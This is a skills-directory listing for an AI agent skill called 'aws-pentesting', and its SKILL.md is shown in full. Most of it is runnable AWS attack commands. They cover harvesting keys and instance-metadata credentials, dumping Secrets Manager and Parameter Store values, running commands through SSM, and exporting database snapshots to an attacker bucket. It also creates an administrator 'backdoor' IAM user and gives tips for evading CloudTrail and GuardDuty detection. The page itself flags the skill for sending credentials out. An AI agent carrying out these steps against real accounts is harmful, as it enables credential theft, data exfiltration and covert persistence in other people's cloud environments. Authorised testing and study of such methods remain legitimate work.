Skip to content
Back to skills

Aws Pentesting

DSecurity

AWS assessment: unauthenticated enum, keys, S3, metadata

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 29, 2026
securitypythonrustgoshellbashsqlnoderailsdockerkubernetes

Works with

  • cli
  • api
  • mcp

Security analysis

D46/100
  • mediumUses curl or wget to download content
  • criticalAccesses sensitive system or user directories
  • criticalAccesses sensitive system or user directories
  • criticalSends environment variables or credentials to an external URL

Pro scans all 3 files and shows the line behind each finding

Scanned November 29, 2026

npx -y skills add blackfoxxx/kestrel --skill aws-pentesting --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Aws Pentesting?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Aws Pentesting
[![Security: D — Skills Directory](https://www.skillsdirectory.com/api/skills/blackfoxxx-aws-pentesting/badge)](https://www.skillsdirectory.com/skills/blackfoxxx-aws-pentesting)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: aws-pentesting
description: "AWS assessment: unauthenticated enum, keys, S3, metadata"
metadata: 
tags: "aws,cloud-pentest,s3,ec2,lambda,iam,rds,eks,ecs,cloudtrail,lateral-movement,exfiltration,recon,enumeration"
category: cloud
mcps: pentest mcp, autopen, context1337
---

# AWS Cloud Penetration Testing Methodology

## Assessment Scope and Entry Points

Before starting, confirm testing scope:
- Account IDs and regions in scope
- Access level: AK/SK (long-term), role (temporary), console only, or black-box external
- Assessment type: red team full chain / known credential privilege escalation / specific service audit

---

## Phase 1: Initial Access

### 1.1 AK/SK Discovery

| Source | Method |
|--------|--------|
| GitHub/GitLab leaks | `github.com/search?q=AKIA&type=code`; truffleHog; gitleaks |
| Configuration files | `.env`, `~/.aws/credentials`, `config.json` |
| Docker image layers | `dive image:tag`, extract each layer |
| Jenkins/CI environment variables | Jenkins exploit / misconfig |
| Cloud metadata (SSRF) | `http://169.254.169.254/latest/meta-data/iam/security-credentials/` |
| CloudFormation template | Hardcoded credentials |
| Lambda environment variables | Exposed function config |

```bash
# truffleHog scan Git history
trufflehog git https://github.com/target/repo --only-verified

# gitleaks scan
gitleaks detect --source /path/to/repo --verbose

# grep scan for AKIA (AWS long-term key prefix)
grep -rn "AKIA\|ASIA\|AROA\|AGPA\|AIPA\|ANPA\|ANVA\|ASIA" . 2>/dev/null
```

### 1.2 Verify Credentials

```bash
# Verify AK/SK
aws sts get-caller-identity

# Common error handling
# InvalidClientTokenId → invalid key
# ExpiredTokenException → expired temporary token
# AccessDenied → valid key but no STS permission (still usable!)
```

### 1.3 Multi-Account and Organization Discovery

```bash
# Check if in AWS Organization
aws organizations describe-organization 2>/dev/null
aws organizations list-accounts 2>/dev/null

# Check accessible accounts
aws sts get-caller-identity
# Account field → current account ID

# Enumerate accessible regions
aws ec2 describe-regions --all-regions --query 'Regions[*].RegionName' --output text
```

---

## Phase 2: Identity and Permissions Enumeration

**Load aws-iam-privesc skill for complete IAM escalation methodology.**

```bash
# Quick permission probing
aws s3 ls 2>&1
aws ec2 describe-instances 2>&1
aws iam list-users 2>&1
aws lambda list-functions 2>&1

# View current identity details
ARN=$(aws sts get-caller-identity --query Arn --output text)
# If User:
aws iam list-attached-user-policies --user-name $(echo $ARN | cut -d/ -f2)
# If Role:
aws iam list-attached-role-policies --role-name $(echo $ARN | cut -d/ -f2)

# Automated enumeration
enumerate-iam --access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY
```

---

## Phase 3: Service Enumeration

### 3.1 Storage Services

**S3 (Simple Storage Service)**
```bash
# List all buckets
aws s3 ls

# Check public access (no auth required)
aws s3 ls s3://BUCKET --no-sign-request

# Public bucket URL formats
# https://BUCKET.s3.amazonaws.com/
# https://s3.REGION.amazonaws.com/BUCKET/

# Download all content
aws s3 sync s3://BUCKET ./loot/

# Find sensitive files
aws s3 ls s3://BUCKET --recursive | grep -iE "\.sql|\.bak|\.env|config|credential|password"

# Check bucket ACL and policy
aws s3api get-bucket-acl --bucket BUCKET
aws s3api get-bucket-policy --bucket BUCKET
```

**EBS Snapshots**
```bash
# Public snapshots (misconfig — should be private)
aws ec2 describe-snapshots --owner-ids self --region us-east-1
# Check sharing permissions
aws ec2 describe-snapshot-attribute --snapshot-id snap-xxx --attribute createVolumePermission
# If Groups: all → public snapshot
```

**EFS (Elastic File System)**
```bash
aws efs describe-file-systems
# Check mount target — if public → potentially mountable
aws efs describe-mount-targets --file-system-id fs-xxx
```

### 3.2 Compute Services

**EC2**
```bash
# List all instances (all regions)
for region in $(aws ec2 describe-regions --query 'Regions[*].RegionName' --output text); do
  echo "=== $region ==="
  aws ec2 describe-instances --region $region \
    --query 'Reservations[*].Instances[*].[InstanceId,InstanceType,State.Name,PublicIpAddress,IamInstanceProfile.Arn]' \
    --output table 2>/dev/null
done

# Get instance user-data (startup scripts — may contain credentials!)
aws ec2 describe-instance-attribute \
  --instance-id i-xxxxxxxxxxxxxxxxx \
  --attribute userData \
  | jq -r '.UserData.Value' | base64 -d

# SSM command execution (no SSH needed)
aws ssm send-command \
  --instance-ids i-xxxxxxxxxxxxxxxxx \
  --document-name AWS-RunShellScript \
  --parameters 'commands=["id","cat /etc/passwd","env"]'
aws ssm get-command-invocation --command-id CID --instance-id i-xxx
```

**Lambda**
```bash
# List all functions
aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role]' --output table

# Download function source code
aws lambda get-function --function-name TARGET_FUNCTION \
  | jq -r '.Code.Location' | xargs curl -o function.zip
unzip function.zip -d function_code/
grep -rn "password\|secret\|key\|token" function_code/

# Get environment variables (may contain credentials!)
aws lambda get-function-configuration --function-name TARGET_FUNCTION \
  | jq '.Environment.Variables'

# Invoke function
aws lambda invoke --function-name TARGET_FUNCTION \
  --payload '{"key": "value"}' /tmp/output.json
cat /tmp/output.json
```

**ECS (Elastic Container Service)**
```bash
aws ecs list-clusters
aws ecs list-tasks --cluster CLUSTER_NAME
aws ecs describe-tasks --cluster CLUSTER_NAME --tasks TASK_ARN

# Execute command in container (ECS Exec)
aws ecs execute-command \
  --cluster CLUSTER_NAME \
  --task TASK_ARN \
  --container CONTAINER_NAME \
  --command "/bin/sh" \
  --interactive
```

**EKS (Elastic Kubernetes Service)**
```bash
aws eks list-clusters
aws eks describe-cluster --name CLUSTER_NAME

# Update kubeconfig
aws eks update-kubeconfig --name CLUSTER_NAME --region us-east-1
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces
kubectl exec -it POD_NAME -- /bin/sh
```

### 3.3 Database Services

**RDS**
```bash
aws rds describe-db-instances \
  --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceStatus,Endpoint.Address,PubliclyAccessible]' \
  --output table

# Check if public
# PubliclyAccessible: true → exposed externally

# Check RDS snapshots (may be shared publicly)
aws rds describe-db-snapshots --snapshot-type public 2>/dev/null
aws rds describe-db-snapshots --snapshot-type manual
```

**DynamoDB**
```bash
aws dynamodb list-tables
aws dynamodb describe-table --table-name TABLE_NAME
aws dynamodb scan --table-name TABLE_NAME  # dump all data (careful: expensive on large tables)
```

**ElastiCache / Redis**
```bash
aws elasticache describe-cache-clusters
aws elasticache describe-replication-groups
# Check if AuthTokenEnabled: false → no auth
```

### 3.4 Credentials and Secrets

**Secrets Manager**
```bash
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id SECRET_ARN
# Error: access denied → no permission
# Success → plaintext secret
```

**SSM Parameter Store**
```bash
aws ssm describe-parameters
aws ssm get-parameters-by-path --path / --recursive --with-decryption
# /path/to/database_password, /prod/api_key, etc.
```

**KMS (Key Management Service)**
```bash
aws kms list-keys
aws kms describe-key --key-id KEY_ID
# Check key policies — which principals can use / manage
aws kms get-key-policy --key-id KEY_ID --policy-name default
```

### 3.5 Network Services

**VPC and Security Groups**
```bash
aws ec2 describe-vpcs
aws ec2 describe-security-groups \
  --query 'SecurityGroups[?IpPermissions[?IpRanges[?CidrIp==`0.0.0.0/0`]]].[GroupId,GroupName,Description]' \
  --output table
# 0.0.0.0/0 → open to world

# Network ACLs
aws ec2 describe-network-acls
```

**API Gateway**
```bash
aws apigateway get-rest-apis
aws apigateway get-resources --rest-api-id API_ID
# Enumerate endpoints
aws apigatewayv2 get-apis  # HTTP API
```

### 3.6 CI/CD Services

**CodeBuild**
```bash
aws codebuild list-projects
aws codebuild batch-get-projects --names PROJECT_NAME
# Check environment variables in build spec

# Start build (may contain code execution environment)
aws codebuild start-build --project-name PROJECT_NAME
```

**CodePipeline**
```bash
aws codepipeline list-pipelines
aws codepipeline get-pipeline --name PIPELINE_NAME
```

**ECR (Container Registry)**
```bash
aws ecr describe-repositories
# Pull image (may contain sensitive info)
aws ecr get-login-password | docker login --username AWS --password-stdin ACCOUNT.dkr.ecr.REGION.amazonaws.com
docker pull ACCOUNT.dkr.ecr.REGION.amazonaws.com/REPO:TAG
# Scan image
dive ACCOUNT.dkr.ecr.REGION.amazonaws.com/REPO:TAG
```

---

## Phase 4: Data Exfiltration

### High-Value Data Sources

```bash
# S3 — look for backup files, database dumps, source code
aws s3 ls --recursive | grep -iE "dump|backup|export|\.sql|\.zip|source"

# RDS snapshot export
# If can create snapshot and export to S3:
aws rds create-db-snapshot \
  --db-instance-identifier TARGET_DB \
  --db-snapshot-identifier pentest-snapshot

aws rds start-export-task \
  --export-task-identifier pentest-export \
  --source-arn arn:aws:rds:...:snapshot:pentest-snapshot \
  --s3-bucket-name attacker-bucket \
  --iam-role-arn arn:aws:iam::...:role/export-role \
  --kms-key-id arn:aws:kms:...

# CloudTrail logs (attacker footprint but also contains other users' actions)
aws cloudtrail describe-trails
aws s3 ls s3://CLOUDTRAIL_BUCKET --recursive | head -20
```

---

## Phase 5: Lateral Movement

### Role Chain

```bash
# 1. Find assumable roles
aws iam list-roles | jq -r '.Roles[].Arn'
# Check trust policy
aws iam get-role --role-name ROLE_NAME | jq '.Role.AssumeRolePolicyDocument'

# 2. Assume role
aws sts assume-role --role-arn ROLE_ARN --role-session-name session
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# 3. Verify new identity
aws sts get-caller-identity
```

### EC2 Instance Profile → IMDS

```bash
# If code execution on EC2 instance
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# Returns: AccessKeyId, SecretAccessKey, Token
```

### Container → Cluster Node

```bash
# In ECS/EKS container
# ECS task metadata
curl http://169.254.170.2/v2/credentials/CREDS_ID

# EKS service account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
kubectl --token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) get pods
```

---

## Phase 6: Persistence

```bash
# 1. Create new IAM user + access key
aws iam create-user --user-name backdoor
aws iam attach-user-policy \
  --user-name backdoor \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-access-key --user-name backdoor

# 2. Add additional access key to existing user
aws iam create-access-key --user-name TARGET_USER

# 3. Create Lambda backdoor (triggered by CloudWatch Events)
# Schedule: "cron(0 * * * ? *)" → runs every hour

# 4. Create cross-account role (persist via another account)
# Trust policy: allow attacker's account to AssumeRole

# 5. Add public access to S3 bucket for data exfiltration channel
```

---

## Phase 7: Detecting and Evading CloudTrail

### CloudTrail Log Locations

```bash
# Check if CloudTrail is enabled
aws cloudtrail get-trail-status --name DEFAULT --region us-east-1
aws cloudtrail describe-trails

# CloudTrail generates logs in S3 (usually)
# Log format: s3://BUCKET/AWSLogs/ACCOUNT_ID/CloudTrail/REGION/YEAR/MONTH/DAY/
```

### Reducing Footprint

```bash
# 1. Use read-only operations (List/Describe/Get) where possible
# 2. Avoid IAM-intensive operations (triggers GuardDuty alerts)
# 3. Avoid calling AssumeRole from unusual locations repeatedly
# 4. Use existing sessions rather than creating new ones
# 5. Check for GuardDuty
aws guardduty list-detectors
# If enabled: behavior will be analyzed

# Note: CloudTrail does NOT log:
# - S3 data events (unless specifically enabled)
# - Some read-only API calls (management events log level determines this)
# - EC2 instance actions (SSM session activity is partially logged)
```

---

## Automated Tools Summary

| Tool | Purpose | Usage |
|------|---------|-------|
| enumerate-iam | Brute-force permissions | `enumerate-iam --access-key AKIA...` |
| Pacu | AWS post-exploitation framework | `python3 pacu.py` |
| ScoutSuite | Cloud security audit | `scout aws` |
| Prowler | Compliance check | `prowler aws` |
| CloudFox | Cloud environment enumeration | `cloudfox aws --profile default all-checks` |
| truffleHog | Secret key scanning in Git | `trufflehog git URL` |
| AWSGoat | Practice lab (vulnerable environment) | `terraform apply` |
| CloudGoat | Rhino Security practice lab | `python3 cloudgoat.py create` |

---

## Notes

- Always start with `aws sts get-caller-identity` to confirm credentials are working
- Multiple regions: some resources may only be in specific regions — scan all in scope
- Cross-account roles are common — found roles may let you jump to other accounts
- AWS Organizations SCPs are the ceiling — cannot be bypassed with IAM tricks
- CloudTrail is usually enabled but S3 data event logging is not (default)
- GuardDuty behavioral detection: avoid bulk API calling patterns
- Temporary credentials have expiry — prioritize creating long-term persistence

Files in this skill

  • SKILL.md13.3 KB
  • references/persistence-techniques.md14.2 KB
  • references/unauthenticated-enum.md13.1 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.